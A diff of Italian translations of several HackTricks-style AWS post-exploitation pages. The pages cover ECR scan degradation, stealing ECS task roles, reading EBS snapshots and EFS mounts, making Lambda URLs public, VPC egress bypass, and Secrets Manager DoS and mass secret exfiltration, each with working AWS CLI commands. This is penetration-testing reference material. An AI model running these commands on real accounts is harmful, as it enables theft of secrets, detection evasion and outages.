-Declassamento dell'intero registry a modalità manuale (nessuna scansione automatica)
+Degradazione a livello di registry a manuale (nessuna scansione automatica)
 ```bash
 REGION=us-east-1
 # Read current config (save to restore later)
@@ -150,7 +144,7 @@ aws ecr put-registry-scanning-configuration \
 --scan-type BASIC \
 --rules '[]'
 ```
-Test con un repo e un'immagine
+Test con un repository e un'immagine
 ```bash
 acct=$(aws sts get-caller-identity --query Account --output text)
 repo=ht-scan-stealth
@@ -165,7 +159,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids
 # Optional: will error with ScanNotFoundException if no scan exists
 aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
 ```
-Opzionale: degradare ulteriormente a livello di repo
+Opzionale: degradare ulteriormente a livello del repository
 ```bash
 # Disable scan-on-push for a specific repository
 aws ecr put-image-scanning-configuration \
@@ -174,19 +168,19 @@ aws ecr put-image-scanning-configuration \
 --image-scanning-configuration scanOnPush=false
 ```
 Impatto
- I nuovi push di immagini attraverso il registry non vengono scansionati automaticamente, riducendo la visibilità di contenuti vulnerabili o maligni e ritardando il rilevamento fino a quando non viene avviata una scansione manuale.
+- Nuove push di immagini nel registry non vengono scansionate automaticamente, riducendo la visibilità di contenuti vulnerabili o malevoli e ritardando la rilevazione fino a quando non viene avviata una scansione manuale.


-### Downgrade del motore di scansione a livello di registry tramite `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
+### Downgrade del motore di scansione a livello di registry via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)

-Riduci la qualità del rilevamento delle vulnerabilità in tutto il registry passando il motore di scansione BASIC dal valore predefinito AWS_NATIVE al motore legacy CLAIR. Questo non disabilita la scansione ma può cambiare sostanzialmente i risultati/coprertura. Combinalo con una configurazione di scansione del registry BASIC senza regole per rendere le scansioni solo manuali.
+Riduci la qualità del rilevamento delle vulnerabilità in tutto il registry cambiando il motore di scansione BASIC dal default AWS_NATIVE al motore legacy CLAIR. Questo non disabilita le scansioni ma può modificare in modo significativo i risultati/copertura. Combinalo con una configurazione di scansione registry BASIC senza regole per rendere le scansioni eseguibili solo manualmente.

 Requisiti
 - `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
 - (Opzionale) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`

 Impatto
- L'impostazione del registry `BASIC_SCAN_TYPE_VERSION` viene impostata su `CLAIR`, quindi le successive scansioni BASIC vengono eseguite con il motore declassato. CloudTrail registra la chiamata API `PutAccountSetting`.
+- Impostazione del registry `BASIC_SCAN_TYPE_VERSION` impostata su `CLAIR` in modo che le successive scansioni BASIC vengano eseguite con il motore degradato. CloudTrail registra la chiamata API `PutAccountSetting`.

 Passaggi
 ```bash
@@ -207,4 +201,4 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC -
 # 5) Restore to AWS_NATIVE when finished to avoid side effects
 aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
 ```
-
+{{#include ../../../../banners/hacktricks-training.md}}
@@ -12,33 +12,33 @@ For more information check:

 ### Host IAM Roles

-Nell'ECS un **IAM role può essere assegnato al task** eseguito all'interno del container. **Se** il task viene eseguito su un'istanza **EC2**, l'**istanza EC2** avrà un **altro IAM** role collegato a essa.\
-Ciò significa che se riesci a **compromettere** un'istanza ECS puoi potenzialmente **ottenere l'IAM role associato a ECR e all'istanza EC2**. Per maggiori informazioni su come ottenere quelle credenziali consulta:
+In ECS an **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\
+Which means that if you manage to **compromise** an ECS instance you can potentially **obtain the IAM role associated to the ECR and to the EC2 instance**. For more info about how to get those credentials check:

 {{#ref}}
 https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
 {{#endref}}

 > [!CAUTION]
-> Nota che se l'istanza EC2 sta imponendo IMDSv2, [**secondo la documentazione**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **risposta della richiesta PUT** avrà un **hop limit di 1**, rendendo impossibile accedere ai metadati EC2 da un container all'interno dell'istanza EC2.
+> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance.

 ### Privesc to node to steal other containers creds & secrets

-Inoltre, EC2 uses docker per eseguire ECS tasks, quindi se puoi escape to the node o **access the docker socket**, puoi **verificare** quali **altri container** sono in esecuzione, e persino **entrare al loro interno** e **rubare gli IAM role** loro associati.
+Inoltre, EC2 usa docker per eseguire le tasks di ECS, quindi se riesci a evadere verso il node o **access the docker socket**, puoi **verificare** quali **altri containers** sono in esecuzione, ed anche **entrare al loro interno** e **rubare gli IAM roles** ad essi associati.

 #### Making containers run in current host

-Furthermore, l'**EC2 instance role** di solito avrà sufficienti **permissions** per **aggiornare lo stato della container instance** delle istanze EC2 usate come nodi all'interno del cluster. Un attacker potrebbe modificare lo **stato di un'istanza in DRAINING**, quindi ECS **rimuoverà tutti i task da essa** e quelli eseguiti come **REPLICA** saranno **eseguiti in una diversa istanza,** potenzialmente all'interno dell'**istanza dell'attaccante**, così da poter **rubare i loro IAM role** e eventuali informazioni sensibili presenti all'interno del container.
+Inoltre, il **EC2 instance role** di solito avrà sufficienti **permissions** per **update the container instance state** delle EC2 instances usate come nodes all'interno del cluster. Un attacker potrebbe modificare lo **state of an instance to DRAINING**, quindi ECS **rimuoverà tutte le tasks da essa** e quelle eseguite come **REPLICA** verranno **eseguite in un'istanza diversa**, potenzialmente all'interno dell'**attacker's instance**, così da poter **rubare i loro IAM roles** e eventuali informazioni sensibili presenti all'interno del container.
 ```bash
 aws ecs update-container-instances-state \
 --cluster <cluster> --status DRAINING --container-instances <container-instance-id>
 ```
-La stessa tecnica può essere eseguita **rimuovendo l'istanza EC2 dal cluster**. Questo è potenzialmente meno stealthy ma **forzerà l'esecuzione dei tasks su altre istanze:**
+La stessa tecnica può essere eseguita anche **deregistering the EC2 instance from the cluster**. Questo è potenzialmente meno stealthy ma **forzerà i tasks a essere eseguiti in altre istanze:**
 ```bash
 aws ecs deregister-container-instance \
 --cluster <cluster> --container-instance <container-instance-id> --force
 ```
-Una tecnica finale per forzare la riesecuzione delle task è indicare a ECS che la **task o il container è stato arrestato**. Ci sono 3 API potenziali per farlo:
+Una tecnica finale per forzare la re-esecuzione dei task è indicare a ECS che il **task o container è stato fermato**. Ci sono 3 API potenziali per farlo:
 ```bash
 # Needs: ecs:SubmitTaskStateChange
 aws ecs submit-task-state-change --cluster <value> \
@@ -52,9 +52,9 @@ aws ecs submit-attachment-state-changes ...
 ```
 ### Steal sensitive info from ECR containers

-L'istanza EC2 probabilmente avrà anche il permesso `ecr:GetAuthorizationToken` che le permette di **download images** (potresti cercare informazioni sensibili al loro interno).
+L'istanza EC2 probabilmente avrà anche il permesso `ecr:GetAuthorizationToken` che le permette di **scaricare immagini** (puoi cercare informazioni sensibili al loro interno).
+

-{{#include ../../../../banners/hacktricks-training.md}}



@@ -62,9 +62,9 @@ L'istanza EC2 probabilmente avrà anche il permesso `ecr:GetAuthorizationToken`

 ### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)

-Abusa dell'integrazione nativa ECS-EBS (2024+) per montare il contenuto di uno snapshot EBS esistente direttamente all'interno di un nuovo task/servizio ECS e leggere i suoi dati dal container.
+Abusa dell'integrazione nativa ECS EBS (2024+) per montare il contenuto di uno snapshot EBS esistente direttamente all'interno di un nuovo task/service ECS e leggere i suoi dati dal container.

- Richiede (minimo):
+- Needs (minimum):
 - ecs:RegisterTaskDefinition
 - One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
 - iam:PassRole on:
@@ -72,18 +72,18 @@ Abusa dell'integrazione nativa ECS-EBS (2024+) per montare il contenuto di uno s
 - Task execution/Task roles referenced by the task definition
 - If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).

- Impatto: leggere contenuti arbitrari del disco dallo snapshot (es., file di database) all'interno del container ed esfiltrarli via rete/log.
+- Impact: leggere contenuti arbitrari del disco dallo snapshot (es. file di database) all'interno del container ed esfiltrarli tramite rete/log.

-Passaggi (esempio Fargate):
+Steps (Fargate example):

-1) Crea il ruolo infrastruttura ECS (se non esiste) e allega la managed policy:
+1) Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy:
 ```bash
 aws iam create-role --role-name ecsInfrastructureRole \
 --assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
 aws iam attach-role-policy --role-name ecsInfrastructureRole \
 --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
 ```
-2) Registra una task definition con un volume contrassegnato `configuredAtLaunch` e montalo nel container. Esempio (stampa il secret e poi dorme):
+2) Registra una task definition con un volume marcato `configuredAtLaunch` e montalo nel container. Esempio (stampa il secret e poi esegue sleep):
 ```json
 {
 "family": "ht-ebs-read",
@@ -103,7 +103,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
 "volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
 }
 ```
-3) Crea o aggiorna un servizio passando lo snapshot EBS tramite `volumeConfigurations.managedEBSVolume` (richiede iam:PassRole sul ruolo infra). Esempio:
+3) Crea o aggiorna un service passando lo snapshot EBS tramite `volumeConfigurations.managedEBSVolume` (richiede iam:PassRole sul ruolo dell'infrastruttura). Esempio:
 ```json
 {
 "cluster": "ht-ecs-ebs",
@@ -117,7 +117,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
 ]
 }
 ```
-4) Quando il task viene avviato, il container può leggere il contenuto dello snapshot nel percorso di mount configurato (es., `/loot`). Exfiltrate via the task’s network/logs.
+4) Quando il task si avvia, il container può leggere il contenuto dello snapshot nel mount path configurato (es., `/loot`). Esfiltra tramite la rete/log del task.

 Pulizia:
 ```bash
@@ -125,4 +125,4 @@ aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count
 aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
 aws ecs deregister-task-definition ht-ebs-read
 ```
-
+{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,17 +1,19 @@
-# AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Furto di dati)
+# AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Esfiltrazione dati)

-Abusa di `lambda:UpdateFunctionConfiguration` per allegare un EFS Access Point esistente a una Lambda, quindi deploya codice triviale che elenca/legge file dal percorso montato per esfiltrare segreti/config condivisi a cui la funzione prima non poteva accedere.
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Abusa di `lambda:UpdateFunctionConfiguration` per collegare un EFS Access Point esistente a una Lambda, quindi distribuire codice minimale che elenchi/legga i file dal percorso montato per esfiltrare segreti/config condivisi a cui la funzione in precedenza non poteva accedere.

 ## Requisiti
- Permessi sull'account/principale vittima:
+- Permessi sull'account/principal vittima:
 - `lambda:GetFunctionConfiguration`
 - `lambda:ListFunctions` (per trovare le funzioni)
 - `lambda:UpdateFunctionConfiguration`
 - `lambda:UpdateFunctionCode`
 - `lambda:InvokeFunction`
- `efs:DescribeMountTargets` (per confermare che esistono mount targets)
+- `efs:DescribeMountTargets` (per confermare che esistano mount targets)
 - Assunzioni sull'ambiente:
- La Lambda target è VPC-enabled e le sue subnet/SGs possono raggiungere il SG del mount target EFS su TCP/2049 (es. il ruolo ha AWSLambdaVPCAccessExecutionRole e il routing VPC lo consente).
+- La Lambda target ha VPC abilitato e le sue subnet/SG possono raggiungere lo SG dell'EFS mount target su TCP/2049 (es. il ruolo ha AWSLambdaVPCAccessExecutionRole e il routing VPC lo permette).
 - L'EFS Access Point si trova nella stessa VPC e ha mount targets nelle AZ delle subnet della Lambda.

 ## Attacco
@@ -21,7 +23,7 @@ REGION=us-east-1
 TARGET_FN=<target-lambda-name>
 EFS_AP_ARN=<efs-access-point-arn>
 ```
-1) Collega l'EFS Access Point alla Lambda
+1) Collegare l'EFS Access Point alla Lambda
 ```
 aws lambda update-function-configuration \
 --function-name $TARGET_FN \
@@ -30,7 +32,7 @@ aws lambda update-function-configuration \
 # wait until LastUpdateStatus == Successful
 until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
 ```
-2) Sovrascrivi il codice con un semplice reader che elenca i file e mostra i primi 200 byte di un potenziale secret/config file
+2) Sovrascrivere il codice con un semplice lettore che elenca i file e mostra i primi 200 byte di un file candidato secret/config
 ```
 cat > reader.py <<PY
 import os, json
@@ -57,18 +59,19 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://re
 aws lambda update-function-configuration --function-name $TARGET_FN --handler reader.lambda_handler --region $REGION
 until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
 ```
-3) Invoca e recupera i dati
+3) Invoca e ottieni i dati
 ```
 aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
 cat /tmp/efs-out.json
 ```
-L'output dovrebbe contenere l'elenco delle directory sotto /mnt/ht e una piccola anteprima di un file secret/config scelto da EFS.
+L'output dovrebbe contenere l'elenco della directory sotto /mnt/ht e una piccola anteprima di un file secret/config scelto da EFS.

-## Impatto
-Un attaccante con le autorizzazioni elencate può montare arbitrari in-VPC EFS Access Points nelle funzioni Lambda vittime per leggere ed esfiltrare la configurazione condivisa e i secrets memorizzati su EFS che erano precedentemente inaccessibili a quella funzione.
+## Impact

-## Pulizia
+Un attaccante con i permessi elencati può montare Access Points EFS arbitrari in-VPC nelle funzioni Lambda vittima per leggere e to exfiltrate configurazioni condivise e segreti memorizzati su EFS che erano precedentemente inaccessibili a quella funzione.
+
+## Cleanup
 ```
 aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true
 ```
-
+{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,36 +1,38 @@
-# AWS - Esposizione pubblica di Lambda Function URL (AuthType NONE + Public Invoke Policy)
+# AWS - Lambda Function URL Public Exposure (AuthType NONE + Public Invoke Policy)

-Trasforma un Lambda Function URL privato in un endpoint pubblico non autenticato impostando il Function URL AuthType su NONE e allegando una resource-based policy che concede lambda:InvokeFunctionUrl a chiunque. Questo permette l'invocazione anonima di funzioni interne e può esporre operazioni backend sensibili.
+{{#include ../../../../banners/hacktricks-training.md}}

-## Sfruttamento
+Trasformare un Lambda Function URL privato in un endpoint pubblico non autenticato cambiando il Function URL AuthType in NONE e allegando una resource-based policy che concede lambda:InvokeFunctionUrl a tutti. Questo permette l'invocazione anonima di funzioni interne e può esporre operazioni backend sensibili.
+
+## Abuso

 - Prerequisiti: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
 - Regione: us-east-1

 ### Passaggi
-1) Assicurati che la function abbia un Function URL (di default AWS_IAM):
+1) Assicurarsi che la funzione abbia un Function URL (predefinito AWS_IAM):
 ```
 aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
 ```

-2) Imposta l'URL come pubblico (AuthType NONE):
+2) Impostare l'URL su pubblico (AuthType NONE):
 ```
 aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
 ```

-3) Aggiungi una statement nella resource-based policy per permettere principals non autenticati:
+3) Aggiungere una resource-based policy statement per consentire principal non autenticati:
 ```
 aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
 ```

-4) Recupera l'URL e invoca senza credenziali:
+4) Recuperare l'URL e invocare senza credenziali:
 ```
 URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
 curl -sS "$URL"
 ```

 ### Impatto
- La Lambda function diventa accessibile in modo anonimo via internet.
+- La funzione Lambda diventa accessibile in modo anonimo su Internet.

 ### Esempio di output (200 non autenticato)
 ```
@@ -43,4 +45,4 @@ https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
 aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
 aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
 ```
-
+{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,12 +1,16 @@
 # AWS Lambda – Runtime Pinning/Rollback Abuse via PutRuntimeManagementConfig

-Abusa di `lambda:PutRuntimeManagementConfig` per fissare una funzione a una versione specifica del runtime (Manual) o per congelare gli aggiornamenti (FunctionUpdate). Questo preserva la compatibilità con malicious layers/wrappers e può mantenere la funzione su un runtime obsoleto e vulnerabile per facilitare lo sfruttamento e la persistenza a lungo termine.
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Abusare di `lambda:PutRuntimeManagementConfig` per fissare una funzione su una specifica versione del runtime (Manual) o bloccare gli aggiornamenti (FunctionUpdate). Questo preserva la compatibilità con layer/wrapper malevoli e può mantenere la funzione su un runtime obsoleto e vulnerabile per facilitare lo sfruttamento e la persistenza a lungo termine.

 Requisiti: `lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig`.

 Esempio (us-east-1):
- Invoke: `aws lambda invoke --function-name  /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5`
- Freeze updates: `aws lambda put-runtime-management-config --function-name  --update-runtime-on FunctionUpdate --region us-east-1`
- Verify: `aws lambda get-runtime-management-config --function-name  --region us-east-1`
+- Invocare: `aws lambda invoke --function-name  /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5`
+- Bloccare gli aggiornamenti: `aws lambda put-runtime-management-config --function-name  --update-runtime-on FunctionUpdate --region us-east-1`
+- Verificare: `aws lambda get-runtime-management-config --function-name  --region us-east-1`

-Opzionalmente puoi fissare una versione specifica del runtime estraendo la Runtime Version ARN dai log INIT_START e usando `--update-runtime-on Manual --runtime-version-arn <arn>`.
+Facoltativamente, è possibile fissare una versione specifica del runtime estraendo l'ARN della Runtime Version dai log INIT_START e usando `--update-runtime-on Manual --runtime-version-arn <arn>`.
+
+{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,10 +1,12 @@
 # AWS Lambda – VPC Egress Bypass by Detaching VpcConfig

-Forza una funzione Lambda fuori da una VPC con restrizioni aggiornando la sua configurazione con un VpcConfig vuoto (SubnetIds=[], SecurityGroupIds=[]). La funzione verrà eseguita nel piano di rete gestito da Lambda, riconquistando l'accesso Internet in uscita e bypassando i controlli di egress applicati da subnet VPC private senza NAT.
+{{#include ../../../../banners/hacktricks-training.md}}

-## Uso abusivo
+Forza una funzione Lambda fuori da una VPC restrittiva aggiornando la sua configurazione con una VpcConfig vuota (SubnetIds=[], SecurityGroupIds=[]). La funzione verrà eseguita nel Lambda-managed networking plane, riottenendo l'accesso Internet in uscita e bypassando i controlli di egress applicati da subnet private della VPC senza NAT.

- Requisiti: lambda:UpdateFunctionConfiguration sulla funzione target (e lambda:InvokeFunction per validare), più i permessi per aggiornare code/handler se li si modifica.
+## Abuso
+
+- Prerequisiti: lambda:UpdateFunctionConfiguration sulla funzione target (e lambda:InvokeFunction per validare), oltre ai permessi per aggiornare code/handler se li si modifica.
 - Assunzioni: la funzione è attualmente configurata con VpcConfig che punta a subnet private senza NAT (quindi l'accesso Internet in uscita è bloccato).
 - Regione: us-east-1

@@ -26,12 +28,12 @@ zip net.zip net.py
 aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true
 aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true

-1) Registra la configurazione VPC corrente (per ripristinarla dopo se necessario)
+1) Registra l'attuale VpcConfig (per ripristinarla più tardi se necessario)

 aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json
 cat /tmp/orig-vpc.json

-2) Scollega la VPC impostando liste vuote
+2) Sgancia la VPC impostando liste vuote

 aws lambda update-function-configuration \
 --function-name $TARGET_FN \
@@ -44,7 +46,7 @@ until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --qu
 aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null
 cat /tmp/net-out.json

-(Optional) Ripristina la configurazione VPC originale
+(Opzionale) Ripristina la VpcConfig originale

 if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then
 SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json)
@@ -52,12 +54,13 @@ aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config
 fi

 ### Impatto
- Ripristina l'accesso Internet in uscita senza restrizioni dalla funzione, consentendo esfiltrazione di dati o C2 da workload che erano stati intenzionalmente isolati in subnet private senza NAT.
+- Riottiene accesso Internet in uscita non filtrato dalla funzione, consentendo esfiltrazione di dati o C2 da workload che erano intenzionalmente isolati in subnet private senza NAT.

-### Example output (after detaching VpcConfig)
+### Esempio di output (dopo aver sganciato la VpcConfig)

 {"egress": true, "ip": "34.x.x.x"}

 ### Pulizia
- Se hai creato modifiche temporanee a code/handler, ripristinale.
- Facoltativamente ripristina il VpcConfig originale salvato in /tmp/orig-vpc.json come mostrato sopra.
+- Se hai creato modifiche temporanee al codice/handler, ripristinale.
+- Opzionalmente ripristina la VpcConfig originale salvata in /tmp/orig-vpc.json come mostrato sopra.
+{{#include ../../../../banners/hacktricks-training.md}}
@@ -10,13 +10,13 @@ Per maggiori informazioni consulta:
 ../../aws-services/aws-secrets-manager-enum.md
 {{#endref}}

-### Leggi Secrets
+### Leggere i segreti

-I **secrets stessi sono informazioni sensibili**, [consulta la pagina privesc](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) per imparare come leggerli.
+I **segreti stessi sono informazioni sensibili**, [consulta la pagina privesc](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) per imparare come leggerli.

-### DoS - Cambiare il valore del Secret
+### DoS: Modificare il valore del segreto

-Modificando il valore del secret potresti causare un DoS a tutti i sistemi che dipendono da quel valore.
+Modificando il valore del segreto potresti **causare un DoS a tutti i sistemi che dipendono da quel valore.**

 > [!WARNING]
 > Nota che i valori precedenti sono anche memorizzati, quindi è facile tornare al valore precedente.
@@ -28,11 +28,11 @@ aws secretsmanager put-secret-value \
 ```
 ### DoS Change KMS key

-Se l'attacker ha il permesso secretsmanager:UpdateSecret, può configurare il secret per utilizzare una KMS key di proprietà dell'attacker. Tale key viene inizialmente impostata in modo che chiunque possa accedervi e usarla, quindi è possibile aggiornare il secret con la nuova key. Se la key non fosse accessibile, il secret non potrebbe essere aggiornato.
+Se l'attacker ha il permesso secretsmanager:UpdateSecret, può configurare il secret per usare una KMS key di proprietà dell'attacker. Questa key è inizialmente configurata in modo che chiunque possa accedervi e usarla, quindi è possibile aggiornare il secret con la nuova key. Se la key non fosse stata accessibile, il secret non avrebbe potuto essere aggiornato.

-Dopo aver cambiato la key per il secret, l'attacker modifica la configurazione della propria key in modo che solo lui possa accedervi. In questo modo, nelle versioni successive del secret il contenuto sarà cifrato con la nuova key e, poiché non si potrà accedere a questa key, la possibilità di recuperare il secret verrebbe persa.
+Dopo aver cambiato la key del secret, l'attacker modifica la configurazione della propria key in modo che solo lui possa accedervi. In questo modo, nelle versioni successive del secret verrà criptato con la nuova key e, non essendoci accesso a essa, la possibilità di recuperare il secret andrebbe persa.

-È importante notare che questa inaccessibilità si verificherà solo nelle versioni successive, dopo che il contenuto del secret sarà cambiato, poiché la versione corrente è ancora cifrata con la KMS key originale.
+È importante notare che questa inaccessibilità si verificherà solo nelle versioni successive, dopo che il contenuto del secret sarà cambiato, poiché la versione attuale è ancora criptata con la KMS key originale.
 ```bash
 aws secretsmanager update-secret \
 --secret-id MyTestSecret \
@@ -48,29 +48,29 @@ aws secretsmanager delete-secret \
 ```
 ## secretsmanager:RestoreSecret

-È possibile ripristinare un secret, il che consente il recupero di secret che sono stati programmati per la cancellazione, poiché il periodo minimo di cancellazione per i secret è di 7 giorni e il massimo è di 30 giorni. Insieme all'autorizzazione secretsmanager:GetSecretValue, questo rende possibile recuperare i loro contenuti.
+È possibile ripristinare un segreto, il che consente il recupero di segreti che sono stati programmati per la cancellazione, dato che il periodo minimo di cancellazione per i segreti è di 7 giorni e il massimo è di 30 giorni. Insieme al permesso secretsmanager:GetSecretValue, questo rende possibile recuperarne i contenuti.

-Per recuperare un secret che è in fase di cancellazione, puoi usare il seguente comando:
+Per recuperare un segreto che è in fase di cancellazione, puoi usare il seguente comando:
 ```bash
 aws secretsmanager restore-secret \
 --secret-id <Secret_Name>
 ```
 ## secretsmanager:DeleteResourcePolicy

-Questa operazione permette di eliminare la resource policy che controlla chi può accedere a un secret. Questo potrebbe causare un DoS se la resource policy è stata configurata per consentire l'accesso a un insieme specifico di utenti.
+Questa azione permette di eliminare la policy della risorsa che controlla chi può accedere a un segreto. Questo potrebbe portare a un DoS se la policy della risorsa era configurata per consentire l'accesso a un insieme specifico di utenti.

-Per eliminare la resource policy:
+Per eliminare la policy della risorsa:
 ```bash
 aws secretsmanager delete-resource-policy \
 --secret-id <Secret_Name>
 ```
 ## secretsmanager:UpdateSecretVersionStage

-Gli stati di un segreto sono usati per gestire le versioni di un segreto. AWSCURRENT indica la versione attiva che le applicazioni utilizzano, AWSPREVIOUS conserva la versione precedente in modo da poter eseguire il rollback se necessario, e AWSPENDING è usato nel processo di rotazione per preparare e convalidare una nuova versione prima di renderla quella corrente.
+Gli stati di un secret vengono usati per gestire le versioni di un secret. AWSCURRENT indica la versione attiva che le applicazioni utilizzano, AWSPREVIOUS conserva la versione precedente così da poter effettuare il rollback se necessario, e AWSPENDING viene usato nel processo di rotazione per preparare e validare una nuova versione prima di renderla quella corrente.

-Le applicazioni leggono sempre la versione con AWSCURRENT. Se qualcuno sposta quell'etichetta sulla versione sbagliata, le app useranno credenziali non valide e potrebbero andare in errore.
+Le applicazioni leggono sempre la versione con AWSCURRENT. Se qualcuno sposta quell'etichetta sulla versione sbagliata, le app useranno credenziali non valide e potrebbero fallire.

-AWSPREVIOUS non viene usato automaticamente. Tuttavia, se AWSCURRENT viene rimosso o riassegnato in modo errato, potrebbe sembrare che tutto stia ancora funzionando con la versione precedente.
+AWSPREVIOUS non viene usato automaticamente. Tuttavia, se AWSCURRENT viene rimosso o riassegnato in modo errato, potrebbe sembrare che tutto stia ancora girando con la versione precedente.
 ```bash
 aws secretsmanager update-secret-version-stage \
 --secret-id <your-secret-name-or-arn> \
@@ -78,32 +78,26 @@ aws secretsmanager update-secret-version-stage \
 --move-to-version-id <target-version-id> \
 --remove-from-version-id <previous-version-id>
 ```
-{{#include ../../../../banners/hacktricks-training.md}}
+### Esfiltrazione massiva di secret tramite BatchGetSecretValue (fino a 20 per chiamata)

+Abusa dell'API Secrets Manager BatchGetSecretValue per recuperare fino a 20 secret in una singola richiesta. Questo può ridurre drasticamente il numero di chiamate API rispetto all'iterazione di GetSecretValue per ogni secret. Se si usano filtri (tags/name), è anche richiesto il permesso ListSecrets. CloudTrail registra comunque un evento GetSecretValue per ogni secret recuperato nel batch.

-
-
-
-### Esfiltrazione di segreti in massa via BatchGetSecretValue (fino a 20 per chiamata)
-
-Abusa dell'API Secrets Manager BatchGetSecretValue per recuperare fino a 20 segreti in una singola richiesta. Questo può ridurre drasticamente il numero di chiamate API rispetto a iterare GetSecretValue per ogni segreto. Se si utilizzano filtri (tags/name), è anche richiesta l'autorizzazione ListSecrets. CloudTrail registra comunque un evento GetSecretValue per ogni segreto recuperato nel batch.
-
-Permessi richiesti
+Required permissions
 - secretsmanager:BatchGetSecretValue
 - secretsmanager:GetSecretValue for each target secret
- secretsmanager:ListSecrets se si usa --filters
+- secretsmanager:ListSecrets if using --filters
 - kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager)

 > [!WARNING]
-> Nota che l'autorizzazione `secretsmanager:BatchGetSecretValue` non è sufficiente per recuperare i segreti; serve anche `secretsmanager:GetSecretValue` per ogni segreto che si vuole recuperare.
+> Nota che la permission `secretsmanager:BatchGetSecretValue` non è sufficiente per recuperare i secret, hai anche bisogno di `secretsmanager:GetSecretValue` per ogni secret che vuoi recuperare.

-Esfiltrazione tramite lista esplicita
+Esfiltrare tramite lista esplicita
 ```bash
 aws secretsmanager batch-get-secret-value \
 --secret-id-list <secret1> <secret2> <secret3> \
 --query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
 ```
-Exfiltrate tramite filtri (tag key/value o name prefix)
+Exfiltrate per filtri (tag key/value o name prefix)
 ```bash
 # By tag key
 aws secretsmanager batch-get-secret-value \
@@ -120,11 +114,12 @@ aws secretsmanager batch-get-secret-value \
 aws secretsmanager batch-get-secret-value \
 --filters Key=name,Values=MyApp
 ```
-Gestione dei guasti parziali
+Gestione dei fallimenti parziali
 ```bash
 # Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
 aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
 ```
 Impatto
- Raccolta rapida “smash-and-grab” di molti segreti con meno chiamate API, potenzialmente eludendo gli avvisi tarati sui picchi di GetSecretValue.
